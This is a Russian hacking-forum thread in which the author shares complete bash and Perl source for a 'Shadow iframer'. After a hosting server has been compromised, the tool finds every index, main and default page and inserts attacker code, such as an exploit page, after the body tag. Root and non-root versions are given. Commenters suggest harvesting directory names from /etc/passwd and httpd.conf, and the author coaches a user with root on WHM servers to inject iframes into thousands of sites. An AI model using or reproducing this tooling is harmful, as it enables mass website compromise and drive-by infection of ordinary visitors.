Shadow iframer [local]

Discussion in 'Избранное' started by Gh0s7, 3 Jan 2007.

  1. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Shadow iframer [local] | [local][n0b0dy] version

    Shadow iframer[local] [r00t] & [n0b0dy] versions


    [ I Что? ]
    Shadow iframer (нормального названия не смог придумать =\) - небольшой ифреймер, написанный мной сегодня ночью :D
    Как известно, ифреймер - небольшая программа (а какие лоси пытались продать нечто подобное за 25$ :D) для вставки своего кода в php/html файлы. Смысл в этом такой:
    Например, вам слили очередной превад сплойт из превада ачата. Сплойтенг берет все ослы, до седьмого включительно. Ясное дело, что его необходимо заюзать и поиметь энное кол-во ботов\асек\3.14зженный вебмань :D
    А у вас под рукой как раз есть небольшой хостинг, который вы недавно порутали. на нем есть несколько К хтмл страниц, вставлять код в каждую ручками очень накладно. Этим и занимаюсться ифреймеры. Они автоматически вставляют некоторый код в html\php паги. Обычно это делается удаленно (например по фтп) или локально.
    Эта версия - локальная.

    [ II Как? ]
    Для начала расскажу немного об устройстве этого скрипта.
    Скрипт написан на баше с перловыми вставками. Т.к. подразумевается что трояниться будут все страницы, то скрипт соответственно требует рута. Конечно, переписать его под нобади\нерута и конкретную диру можно (но нужно ли?)).
    По размеру скрипт достаточно маленький :)

    Использовать его очень просто. Нужно только запустить с один параметром - файлом с ифрейм кодом (естественно, код может быть любым)). Далее скрипт найдет все index файлы и вставит в них ваш код. Добавление идет в начало body скрипта.
    Вот лог запуска:
    Code:
    # ./iframe.sh 
    
    [*]Searching for perl.../usr/bin/perl
    
    [*]Starting index finder...please wait...search complete. Found X pages
    
    [*]Generating iframer...complete.Starting iframer
    
    [*] Injecting complete, deleting temp files...
    
    [*] Finished
    
    [ III Sources&outro ]

    Собственно сорец:
    [r00t] version
    Code:
    #!/bin/bash
    
    if [ $UID != 0 ]; then
      echo "[x]Need r00t :("; exit 1;
    fi
    
    check=`expr length "$1"`
    
    if [ $check == 0 ]; then 
      echo "########################################"
      echo "#Shadow iframer[local]  (c)ode by Gh0s7#"
      echo "########################################"
      echo "#usage: ./sh-iframe.sh [iframe file]   #"
      echo "#       ./sh-iframe.sh exploit.html    #"
      echo "########################################"
      exit 1
    fi
    
    echo -n "[*]Searching for perl..."; which perl
    
    if [ $? != 0 ]; then
      echo "[x]No perl?"; exit
    fi
    
    echo -n "[*]Starting index finder...please wait..."
    
    find / -name "index.html*" 2> /dev/null > /tmp/found 
    find / -name "index.php*"  2> /dev/null >> /tmp/found 
    find / -name "index.shtml" 2> /dev/null >> /tmp/found 
    find / -name "index.phtml" 2> /dev/null >> /tmp/found 
    find / -name "main.html*" 2> /dev/null > /tmp/found 
    find / -name "main.php*"  2> /dev/null >> /tmp/found 
    find / -name "default.php*"  2> /dev/null >> /tmp/found 
    find / -name "main.shtml" 2> /dev/null >> /tmp/found 
    
    len=`cat /tmp/found| wc -l`
    
    echo "search complete. Found $len pages"
    echo -n "[*]Generating iframer..."
    
    iframer='\n
    while (<INPUT>) {
      chomp; $file = $_;
      @res = split (/\//);
      $len = 0;
      foreach (@res) { $len++; }
      open (FILE, "<$_") or die;
      open (TMP, ">/tmp/$res[$len-1]") or die;
      open (INJECT, "<$inject") or die;
      sysread (INJECT, $code, 1024);
      close (INJECT);
      while (<FILE>) {
        print TMP $_;
        if (/<body>/) { print TMP $code; }
      }
      close (TMP);
      close (FILE);
      system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
      system ("./mv $file /tmp/$res[$len-1].bak");
      system ("./mv /tmp/$res[$len-1] $file");
    }'
    echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
    echo -ne "$iframer" >> iframer.pl
    
    echo 'mv $@' > ./mv; chmod +x ./mv
    echo 'rm $@' > ./rm; chmod +x ./rm
    
    echo "complete.Starting iframer"
    perl iframer.pl
    echo "[*] Injecting complete, deleting temp files..."
    rm mv rm
    rm /tmp/index*
    echo "[*] Finished"
    exit 0
    
    [n0b0dy] version
    Code:
    #!/bin/bash
    
    usage () {
      echo "########################################################"
      echo "#Shadow iframer[local][n0b0dy version]  (c)ode by Gh0s7#"
      echo "########################################################"
      echo "#usage: ./sh-iframe.sh [iframe file] [path]            #"
      echo "#       ./sh-iframe.sh exploit.html /var/www/31337.su  #"
      echo "########################################################"
      exit 1
    }
    
    check=`expr length "$1"`
    if [ $check == 0 ]; then 
      usage
    fi
    
    check=`expr length "$2"`
    if [ $check == 0 ]; then 
      usage
    fi
    
    if [ ! -d $2 ]; then
      echo "[x] $2 directory doesnt exists"; exit 1
    fi
    
    echo -n "[*]Searching for perl..."; which perl
    
    if [ $? != 0 ]; then
      echo "[x]No perl?"; exit
    fi
    
    echo -n "[*]Starting index finder...please wait..."
    
    find $2 -name "index.html*" 2> /dev/null > /tmp/found 
    find $2 -name "index.php*"  2> /dev/null >> /tmp/found 
    find $2 -name "index.shtml" 2> /dev/null >> /tmp/found 
    find $2 -name "index.phtml" 2> /dev/null >> /tmp/found 
    find $2 -name "main.html*" 2> /dev/null > /tmp/found 
    find $2 -name "main.php*"  2> /dev/null >> /tmp/found 
    find $2 -name "default.php*"  2> /dev/null >> /tmp/found 
    find $2 -name "main.shtml" 2> /dev/null >> /tmp/found 
    
    len=`cat /tmp/found| wc -l`
    
    echo "search complete. Found $len pages"
    echo -n "[*]Generating iframer..."
    
    iframer='\n
    while (<INPUT>) {
      chomp; $file = $_;
      @res = split (/\//);
      $len = 0;
      foreach (@res) { $len++; }
      open (FILE, "<$_") or next;
      open (TMP, ">/tmp/$res[$len-1]") or next;
      open (INJECT, "<$inject") or die;
      sysread (INJECT, $code, 1024);
      close (INJECT);
      while (<FILE>) {
        print TMP $_;
        if (/<body>/) { print TMP $code; }
      }
      close (TMP);
      close (FILE);
      system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
      system ("./mv $file /tmp/$res[$len-1].bak");
      system ("./mv /tmp/$res[$len-1] $file");
    }'
    echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
    echo -ne "$iframer" >> iframer.pl
    
    echo 'mv $@' > /tmp/mv; chmod +x /tmp/mv
    echo 'rm $@' > /tmp/rm; chmod +x /tmp/rm
    
    echo "complete.Starting iframer"
    perl iframer.pl
    echo "[*] Injecting complete, deleting temp files..."
    rm /tmp/mv /tmp/rm
    rm /tmp/index*
    echo "[*] Finished"
    exit 0
    
    В ближайшее время будет закончен фтп ифреймер.
    В заключение попрошу каментить и оценивать :) (как обычно)

    P.S. Я не утверждаю что это мега-релиз, так что кричать что "мало" и т.д. не надо.
    P.P.S. Читаем и отписываемся: https://forum.antichat.ru/thread30461.html

    UPD 1:
    Добавил версию для "кастрированных" аков.
     
    #1 Gh0s7, 3 Jan 2007
    Last edited: 10 Jan 2007
    14 people like this.
  2. -SMith-

    -SMith- Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    36
    Likes Received:
    23
    Reputations:
    -5
    Я буду первым )
    1) Плюс тебе за старания и написание статейки...
    2)
    Согласен, не ново, вообщих чертах ты рассказал отлично, разложил все по-полочкам, но некоторым интересны тонкости...
     
  3. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    Будет удобнее если в скипт добавить:
    Code:
    find / -name "main.html*" 2> /dev/null > /tmp/found 
    find / -name "main.php*"  2> /dev/null >> /tmp/found 
    find / -name "default.php*"  2> /dev/null >> /tmp/found 
    find / -name "main.shtml" 2> /dev/null >> /tmp/found 
    
     
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Ну в принципе для основы неплохо =) но допустим у нас не рут =) у нас есть путь к папке юзера

    /home/user13/www/

    содержимое папки /home/ мы просматривать можем, а вот уже на /user13/ Прав не хватает (в тоже время на /www/ все очень даже есть) .. ? ничего он не зафрэймит..

    сталкивался много раз ) .. но твой явно основан на имении рута на тачке
     
  5. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    Да, неплохо бы сделать чтоб можно было указывать с какой папки начинать искать файлы index.php и т.д
    Хотя если Gh0s7 не возьмется, то могу я доделать... :p
     
    #5 aka PSIH, 3 Jan 2007
    Last edited: 3 Jan 2007
  6. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    Прочитав понятно что Нужны права РУТА!
     
  7. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Добавлено :)

    Да, это даже написано, что ему нужен рут :)

    В ближайшее время доработаю :)
     
    1 person likes this.
  8. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    blackybr, я эту фигню не догонял.Однажды поспорил с Dim-ok (ГГ привет те).Потом понял, что ошибся.Кстати респект ему ;)
    Gh0s7 те конечто же тоже.Совет: читай названия дир с /etc/passwd :)
     
    1 person likes this.
  9. Dronga

    Dronga ВАША реклама ТУТ!!

    Joined:
    1 Jul 2005
    Messages:
    575
    Likes Received:
    239
    Reputations:
    249
    + httpd.conf

    Замечательный релиз. Ждём версию для кастрированных учёток =)
     
  10. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Гг, тогда напишу его после куррент проекта (модуль для проверки на веб баги)
     
    1 person likes this.
  11. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Статья интересная, + это однозначно! ! ! но есть одно но. Все происходит под правами root их не каждый может имееть!
     
  12. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    я бы убрал эту фразу, так как сравнивать то, что продается за 25 баксов и это, это жопу с пальцем сравнивать. А если у тебя не хостинг, а Н фтп, ты на каждый заливать будешь и запускать? То, что делает скрипт можно и руками сделать. Хостинги ломаные бывают не так часто, как бывают просто фтп etc.
    P.S. Не воспринимай как оскарбление. ;) Все равно + за старание. ;)
     
    1 person likes this.
  13. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Как оскАрбление не воспринял :)
    А "если у меня не хостинг, а Н фтп", то для этого пишется отдельный фтп ифреймер, ака remote.
    А то что продается за 25 по сути имеет тот же функционал.
    Всеравно любой ифреймер - максимум 200 строк кода с каментами и рюшечками. "То, что делает скрипт можно и руками сделать", пожалуйста, тебе никто не запрещает пару к файлов вимом руками править)
     
  14. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Добавил версию для кастрированных аков
     
  15. don cicio

    don cicio New Member

    Joined:
    10 Jan 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    2
    Уважаемые форумчане, боюсь показаться дебилом, но никогда не имел дело с подобными штуками.
    Я установил active perl, сохранил файл как .pl, а когда запускаю, на секунду появляется консоль и сразу пропадает.
    Не имею представления что нужно сделать, а скрипт ой как нужен. Помогите пожалуйста.
    Спасибо.
     
  16. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242

    Пуск - выполнить - cmd - perl <как_ты_назвал_файл.pl>

    А зачем тебе на локальной машине ифреймер?)
     
  17. don cicio

    don cicio New Member

    Joined:
    10 Jan 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    2
    Ну вот есть рутовый доступ к нескольким серверам через whm. Как же мне использовать скрипт что б разом прописать ифреймы на несколько тысяч сайтов?
     
  18. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Заливай скрипт (как ты будешь это делать с цпанелем - хз), врубай его с указанием файлика с твоим кодом и все.
     
  19. don cicio

    don cicio New Member

    Joined:
    10 Jan 2007
    Messages:
    5
    Likes Received:
    1
    Reputations:
    2
    ага, а где ж мой код прописать?
     
    1 person likes this.
  20. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Да куда хочешь пиши...код свой))